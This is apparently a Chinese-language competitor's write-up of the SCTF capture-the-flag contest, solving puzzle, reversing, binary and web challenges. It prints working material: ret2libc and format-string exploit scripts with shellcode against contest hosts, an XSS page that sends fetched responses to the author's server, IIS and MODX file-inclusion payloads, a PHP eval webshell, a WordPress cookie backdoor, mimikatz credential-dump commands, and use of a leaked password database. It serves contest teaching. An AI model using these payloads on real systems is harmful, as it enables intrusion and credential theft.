SCTF(三叶草CTF)作为XCTF联赛的成都分站赛,由三叶草安全技术小组负责组织。本次比赛采用线上解题形式,比赛冠军队伍直接入围XCTF联赛总决赛。

MISC部分

MISC10

手持两把锟斤拷,口中疾呼烫烫烫 

脚踏千朵屯屯屯,笑看万物锘锘锘。 

程序员经典笑话不解释。

MISC100:

简单的贪吃蛇,吃到30分它就告诉你flag!但是要怎么控制它呢?IDA稍微看一下,发现是接受kill消息。Bash下做几个alias,W S A D,然后控制着玩儿就好了:

那串东西bash64解密就是flag。

MISC200:

A-Cup的妹子,你肯定看腻了。我们换一个C-cup。题目的做法没有改变,只是之前的题有另类解法,所以完善了题目。

tips:密钥即为文件名

一个图片,改成rar打开:

加密的,目测是伪加密,详见这篇文章:http://r4c00n.com/article/34/apk-zip.html。好压没办法修复,卸了装winrar修复然后改标志解压,mp3stego,前几天刚总结了一下某本书的隐写术http://www.0x01f.com/blog/61。Decode就行了,密钥sctf

找到端口和IP,一个游戏的端口。我不会玩,队友去搞了。据说是跟着一条细红线走过去就看到flag了。

MISC300:

内网攻击数据包分析

SMB包里找到hash和challange。

参考http://bbs.pediy.com/showthread.php?t=176189&highlight=SMB

下下来彩虹表,编译一个rcracki_mt出来,很快就跑出来前七位。

然后扔kali虚拟机里,秒破密码。

MISC400A:

这是捕获的黑客攻击数据包,LateRain用户的密码在此次攻击中泄露了,你能找到吗?

FLAG格式:SCTF{LateRain的明文密码},里面发现了一些HTTP包,都是菜刀的数据包。其中有一个返回包是下载了一个RAR

导出二进制内容,去掉头尾的菜刀添加的标志,写入一个文件,发现有密码。往前翻一下,这个请求的内容是打包,命令为:

cd /d "c:\inetpub\wwwroot\"&C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif -hpJJBoom&echo [S]&cd&echo [E]

解压出来,得到1.gif,是一个MDMP文件。

下到这个dump文件,然后上mimikatz64,两条命令:

sekurlsa::minidump 1.dmp
sekurlsa::logonPasswords full

找到密码:

后面有几个空格,冲定位到txt里头复制出来就行了。

MISC400B

别看妹子了,快做题。 

Binwalk看一下:

root@kali:~/Desktop# binwalk 400b.PNG
 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1000 x 562, 8-bit/color RGBA, non-interlaced
91            0x5B            Zlib compressed data, compressed
3526          0xDC6           Zlib compressed data, best compression
1421307       0x15AFFB        Zlib compressed data, default compression

后面是Zlib压缩的数据,写个脚本解压一下:

from PIL import Image
from zlib import *
 
data = open('400b.PNG','rb').read()[0x15AFFB:]
data = decompress(data)
 
img = Image.new('1', (25,25))
d = img.load()
 
for n,i in enumerate(data):
d[(n%25,n/25)] = int(i)*255
 
f = open('2.png','wb')
img.save(f)

得到一个二维码,但是不能访问:

PS变相之后就可以了 微信扫一扫,SCTF{(121.518549,25.040854)}

RE50

听说逆向都挺难的,这里有个简单的,快来秒~~~ :D

确实非常简单,输入的每个字符+3 = 文件中的某个字符串字符 就可以了:

flag = 'Jr3gFud6n'
temp = ''
for i in flag:
    temp = temp+chr(ord(i)-3)
print temp

PWN部分

Pwn200

这里可以输入17个字符,刚好把len_0x10覆盖,如果输入’syclover’ + ‘\x00’ + ‘abcdefg’ + ‘\xFF’,就可以满足条件的同时覆盖len_0x10255,之后的buffer也可以覆盖。

然后就栈溢出。

首先覆盖返回地址,让它跳转到调用write “input name”的地方,参数可以自己构造,这样就可以输出任意函数的got。随后将第二个返回值覆盖成system地址,参数构造成/bin/sh,然后就得到shell

这里选择read,根据libc里头的偏移,可以算出read和system的相对偏移:

代码:

from socket import *
from struct import *
import time

readOffset = 0x000de3a0
systOffset = 0x0003f430
param = '/bin/sh\x00' + 'ls home' + 'a'*5
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('218.2.197.248', 10001))
 
name = 'syclover'+ '\x00' + 'abcdefg' + '\xFF'
# input name:
print s.recv(1024)
s.send(name)
 
showReadGot = 'A'*156
showReadGot += pack('<I', 0x08049860)
showReadGot += pack('<I', 0x08048507)
showReadGot += pack('<I', 1)
showReadGot += pack('<I', 0x08049850)
showReadGot += pack('<I', 4)
# input slogan:
print s.recv(1024)
s.send(showReadGot)
 
read = s.recv(1024)[-4:]
syst = unpack('<I', read)[0] - readOffset + systOffset
print 'system: %x' % syst
 
exploit = param + pack('<I', syst)
s.send(exploit)
 
while True:
    s.send(raw_input('$ ') + '\n')
    time.sleep(0.5)
    print s.recv(1024)

Pwn300

printf格式化漏洞。

随意构造栈,并且能覆盖任意地址。Message部分代码是可执行的,写入shellcode即可。

from socket import *
from struct import *
from time import sleep
 
def doRecv():
    buffer = ''
    while True:
        buffer += s.recv(1024)
        if 'input' in buffer:
            return buffer
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('218.2.197.248', 10002))
 
shellcode = "\x31\xc0\x50\x68\x2f\x61\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
nop = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
exploit = pack('<I', 0x08049108)+'%134517131x'+'%8x'*5+'%n' + nop + shellcode + nop + '\n'
 
print exploit
 
welcome = doRecv()
#print welcome
s.send('2\n')
 
welcome = doRecv()
print welcome
 
s.send(exploit)
 
welcome = doRecv()
print welcome
 
s.send('3\n')
welcome = doRecv()
 
s.send('4\n')
 
sleep(2)
 
while True:
    s.send(raw_input('$ ') + '\n')
    time.sleep(0.5)
    print s.recv(2048)

Code200

迭代就可以了,奇数幂变成 奇数+1幂 奇数幂,重复的话就变成 奇数+1+1幂,然后又是同样的情况,最后肯定不可能重复,代码略长,懒得写到一个函数里了:

from socket import *
from struct import *
import string
from time import sleep
 
srv = socket(AF_INET, SOCK_STREAM)
srv.connect(('218.2.197.248', 10007))
b = srv.recv(4)
 
while True:
    print b
    b = string.atoi(b)
    v = {}
    c = {}
    for i in range(100):
        v[i] = 0
        c[i] = 0
    if b > 0:
        k = 0
        s =''
        while b > 0:
            if b % 2 == 1:
                c[k] = 1
                v[k] = 1
            k += 1
            b /= 2
        while True:
            out = True
            for i in range(100):
                if c[i] > 1:
                    c[i+1] += 1
                    c[i] -= 2
                    if ((i+1) % 2 == 1) and (c[i+1] == 1):
                        v[i+1] = 1
                    out = False
                if (c[i] == 0) and (v[i] == 1):
                    v[i] = 0
                if (i % 2 == 1) and (v[i] == 1):
                    v[i] = 0
                    c[i+1] += 1
                    out = False
            if out:
                break
        for i in range(100):
            if c[i] == 1:
                s = str(i) + ' ' + s
        print s
        srv.send(s)
        b = srv.recv(1024)
        while len(b) == 0:
            sleep(0.1)
            b = srv.recv(1024)
        if len(b) > 10:
            print b
            break
    elif b < 0:
        b = -b
        k = 0
        s = ''
        while b > 0:
            if b % 2 == 1:
                c[k] = 1
                v[k] = 1
            k += 1
            b /= 2
        while True:
            out = True
            for i in range(100):
                if c[i] > 1:
                    c[i+1] += 1
                    c[i] -= 2
                    if ((i+1) % 2 == 0) and (c[i+1] == 1):
                        v[i+1] = 1
                    out = False
                if (c[i] == 0) and (v[i] == 1):
                    v[i] = 0
                if (i % 2 == 0) and (v[i] == 1):
                    v[i] = 0
                    c[i+1] += 1
                    out = False
            if out:
                break
            if out:
                break
        for i in range(100):
            if c[i] == 1:
                s = str(i) + ' ' + s
        print s
        srv.send(s)
        b = srv.recv(1024)
        while len(b) == 0:
            sleep(0.1)
            b = srv.recv(1024)
        if len(b) > 10:
            print b
            break

WEB部分

PT100

PT100题进不去了,中间过程没法截图了……

看到后台,第一反映就是

/admin/

401发现是IIS6试了一圈以后发现::$INDEX_ALLOCATION/index.php可以破。

进去以后是个登录窗口,id输入框被disable了,这简直就是在告诉你问题就出在这了……

最后Payload

/admin::$INDEX_ALLOCATION/index.php?id=%27%7C0%23&password=admin

 PT200

进去之后先查看源代码,发现一个这个:

看一下输出在哪。

试了几个标签,svgimgscript啥的都过滤了,iframe过滤,但是on过滤了,data也被过滤了,利用不了,利用一个Chrome里才能用的姿势:

<link ref=import href=//xxx.me>

xxx.me里的index.php这样写:

<?php 
header('Access-Control-Allow-Origin: *');
?>        
<script> 
alert(1)
</script>

成功弹框。

用这个方法打到了后台地址。

http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/

但是直接访问是403带上XFF头就变成了fuck you!,于是直接弹回来页面内容看一下。

弹回来的页面内容里发现了 flag.php?id= 这么一个链接,应该是要注入,直接访问跟之前一样,403或者fuck you!,于是通过XSS注入,把访问到的flag.php的内容弹回来。

自己的VPS上,index.php:

<?php 
header('Access-Control-Allow-Origin: *');
?>        
<script> 
xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","flag.php?id=<?php echo $_GET['p']; ?>", false);
xmlhttp.send();
var rep = xmlhttp.responseText;
<?php if ($_GET['u'] == 'f'){
echo 'xmlhttp.open("GET","http://xxx.me/1.php?a="+rep);';}?>
<?php if ($_GET['u'] == 'd'){echo 'xmlhttp.open("GET","http://xxx.me/2.php?a="+rep);';} ?>
    
xmlhttp.send();
 
</script>

u=f u=d别是我和队友用,防止注入的时候互相干扰。

1.php:

<?php
file_put_contents('/var/www/html/res.html', $_REQUEST)

2.php类似,写入另一个文件。

这个时候我们犯了一个错误,本来这样写是为了方便,提交的时候改一下href就可以了,不用改index.php里的代码,但是这样一来 on data这些字符串就被XSS过滤器给替换成 _ 了。

常用的报错姿势都被拦截了,后来实在想不出来招了,手工盲注,连注带蒙,大概两个小时吧,拿到flag,一开始大小写还搞错了,浪费了很多次提交机会。

PT300:

先去看robots.txt

直接访问当然不可能直接出来flag= =……

 队友从idc.sycsec.com找到了源代码,有三个版本,通过

/assets/js/jquery-1.4.4.min.js

文件判断应该是1.0.8或者1.0.9版本。

现在我们需要的应该是一个任意文件读取/下载或者本地文件包含。

看一下HTTP头,

PHP版本5.5.0,%00截断没戏了。

找include,找到这个文件:

/assets/snippets/ajaxSearch/ajaxSearchPopup.php:
 
        $config = parseUserConfig((strip_tags($_POST['ucfg'])));
        // Load the custom functions of the custom configuration file if needed
        if ($config) {
            $lconfig = (substr($config, 0, 6) != "@FILE:") ? AS_PATH . "configs/$config.config.php" : $modx->config['base_path'] . trim(substr($config, 6, strlen($config)-6));
            if (file_exists($lconfig)) include $lconfig;
            else return "<h3>AjaxSearch error: " . $lconfig . " not found !<br />Check your config parameter or your config file name!</h3>";
        }

这里可以包含任意文件不用截断,但是由于前面引用了全局常量, 在这个文件里没有定义,需要找到正确的入口文件。

/index-ajax.php。

if($axhandler = (strtoupper($_SERVER['REQUEST_METHOD'])=='GET') ? $_GET['q'] : $_POST['q']) {
  $axhandler = preg_replace('/[^A-Za-z0-9_\-\.\/]/', '', $axhandler);
  $axhandler = realpath($axhandler) or die(); 
  $directory = realpath(MODX_BASE_PATH.DIRECTORY_SEPARATOR.'/assets/snippets'); 
  $axhandler = realpath($directory.str_replace($directory, '', $axhandler));
  
  if($axhandler && (strtolower(substr($axhandler,-4))=='.php')) {
    include_once($axhandler);
    exit;
  }
}

最终payload:

URL:
http://modx.sycsec.com/index-ajax.php

POST;

q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&search=flag&action=setsetting&key=site_name&value=b&ucfg=%26config%3D%60%40FILE%3Aflag%2Fflag.txt%60

 

PT400:

Idc.sycsec.com 注入,联合查询,搞到数据库,在bug提交的地方提交Union all select 出来XSSpayload的URL,得到后台地址,登录进去之后上传,没过滤后缀名,过滤<? ,利用

<script language="php">eval($_POST[c]);</script>

拿到shell.

得到wp的代码,跟原版的4.0.1diff一下,发现一个代码执行的后门,在/wp-includes/resivion.php.

function wp_check_my_session(){ 
if(isset($_COOKIE[wp-ssesion])) {
$_check=($_COOKIE['wp-sesion'][0]^$_COOKIE['wp-sesion'][1]).($_COOKIE['wp-sesion'][1]^$_COOKIE['wp-sesion'][2]).($_COOKIE['wp-sesion'][3]^$_COOKIE['wp-sesion'][6]).($_COOKIE['wp-sesion'][3]^$_COOKIE['wp-sesion'][4]).($_COOKIE['wp-sesion'][2]^$_COOKIE['wp-sesion'][5]).($_COOKIE['wp-sesion'][5]^$_COOKIE['wp-sesion'][6]);
$_check($_COOKIE['wp-ssesion']);
}
else{
return 0;
}

这时候已经八点五十左右了,构造出来cookie之后还没来得及干什么时间就到了……

PT500:

CSDN裤子里查到了妹子SYC083的密码,在提交报告的地方注入得到了十几个用户,有两个能登录邮箱,发现VPN的地址和密码规律,遍历生日年份得到了SYC079的密码,访问文件服务器(10.24.13.37),卡了很久,也是快到时间的时候发现了/.svn/,没提前准备代理,手动脱没来得及脱多少就Game Over了……

[作者/hhx,本文属于FreeBuf.COM独家发布文章,未经许可禁止转载]

源链接

Hacking more

...